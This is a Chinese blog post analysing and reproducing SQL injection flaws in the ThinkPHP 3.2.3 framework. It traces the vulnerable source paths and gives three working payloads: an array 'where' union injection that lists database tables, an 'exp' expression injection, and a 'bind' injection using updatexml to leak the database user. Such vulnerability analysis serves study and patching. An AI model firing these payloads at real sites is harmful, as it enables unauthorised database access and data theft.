Thinkphp3.2.3 SQL注入漏洞分析复现

环境搭建

源码下载地址:https://github.com/top-think/thinkphp/releases/tag/3.2.3 修改数据库设置 file

在数据库中串讲tptest数据库添加user表 file 在Application/Home/Controller/IndexController.class.php中添加

public function test(){
        $data = M('user')->find(I('GET.id'));
        var_dump($data);
    }

file

I tp自带的过滤器
A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法

漏洞分析

通过index.php?index.php?m=Home&c=Index&a=test&id=1访问刚刚的查询代码

file

开启xdebug调试 file

首先测试 id=1’ or 1=1%23 跟进I方法 并没有将引号什么的过滤掉 file 然后进入find方法 调用_parseOptions() 然后又调用了_parseType()方法 file 这里如果字段类型是int的话直接intval转为数值了 所以数据库中id字段设置为varchr 然后再回到find中id的值还是最开始的 进入select开始查询 file 这里最后的结果是引号被转义了 跟一下这里的函数 file 在buildSelectSql()中 file parseSql()函数中有过滤

public function parseSql($sql, $options = array())
{
    $sql = str_replace(
        array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
        array(
            $this->parseTable($options['table']),
            $this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
            $this->parseField(!empty($options['field']) ? $options['field'] : '*'),
            $this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
            $this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
            $this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
            $this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
            $this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
            $this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
            $this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
            $this->parseLock(isset($options['lock']) ? $options['lock'] : false),
            $this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
            $this->parseForce(!empty($options['force']) ? $options['force'] : ''),
        ), $sql);
    return $sql;
}

注入点在where后边 跟进parseWhere() file 跟进parseWhereItem() file 跟进parseValue() file 进入escapeString() file addslashes()会将引号转义 file file

如果id列是整型在_parseType()中 file

elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
                $data[$key] = intval($data[$key]);

会将字符转为数字

如果我们给id传成数组 file I()方法返回的是数组 之前返回的是$data=1 如果id是数组 将会进行一个检测 file file

传入数组前后的对比 传入数组前: file 传入数组后: file

在进入_parseType()前会有个判断

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

因为这里的$options[‘where’]并不是数组 所以直接跳过了强制转化为数字的过程 就绕过了 然后到parseWhere()检查时 直接以字符串作为条件返回 file

payload1

index.php?m=Home&c=Index&a=test&id[where]=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

file

造成漏洞的原因是

if (is_numeric($options)  is_string($options)) {
            $where[$this->getPk()] = $options;
            $options               = array();
            $options['where']      = $where;
        }

如果是正常的请求 这里的$option应该是个字符串然后会进入到这个if里边经过处理变成

$option=array('where'=>array('id'=>'1'))

传入数组后$option为数组并不会进入这个if,此时

$option=array('where'=>'1')

根据代码知道option里边的where存的是查询条件 如果是字符串将会把字符串直接拼接到where后边 如果不是字符串 将进一步把取值 然后作为条件跟着wehre后边eg: where id=1 正常传入是 where id=1 传入数组之后是 where 1

payload2 exp注入

修改test方法

public function test(){
       $User = D('User');
       $map = array('username' => $_GET['username']);
       // $map = array('username' => I('username'));
       $user = $User->where($map)->find();
       var_dump($user);
   }

poc

?username[0]=exp&username[1]==-1 union select 1,2,3

跟着poc调试 跟进where方法

else {
            $this->options['where'] = $where;
        }

        return $this;

其他判断都不满足 只有这里有用 file 进入find方法 还是跟上边那个payload一样 继续往下运行

file 这里不满足判断 所以没有进入到这里 也就不存在上边说的 会根据是否为int型强制改为整型 file 进入select()方法 file 进入buildSelectSql() file 进入parseSql() 然后进入parseWhere() 继续进入parseWhereItem() file 关键点在

elseif ('exp' == $exp) {
                    // 使用表达式
                    $whereStr .= $key . ' ' . $val[1];
                }

拼接成的where子句为

$key=username    $val[1]==-1 union select 1,2,3

where $key $val[1]
where username =-1 union select 1,2,3

造成了注入 file

payload3 bind注入

poc

id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

一步一步跟进 进入update方法里 file 然后进入parseSet方法 file 这里name为0 file name为0 value为1 file

file

这里的strtr函数会将queryStr里的:0=>’1’ 即

UPDATE `user` SET `password`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)

UPDATE `user` SET `password`='1' WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)

这也是为什么id[1]要以0开头的原因 file


Thinkphp3.2.3 SQL注入漏洞分析复现
http://example.com/2021/08/07/OldBlog/thinkphp3-2-3-sql注入漏洞分析复现/
作者
Autumn
发布于
2021年8月7日
许可协议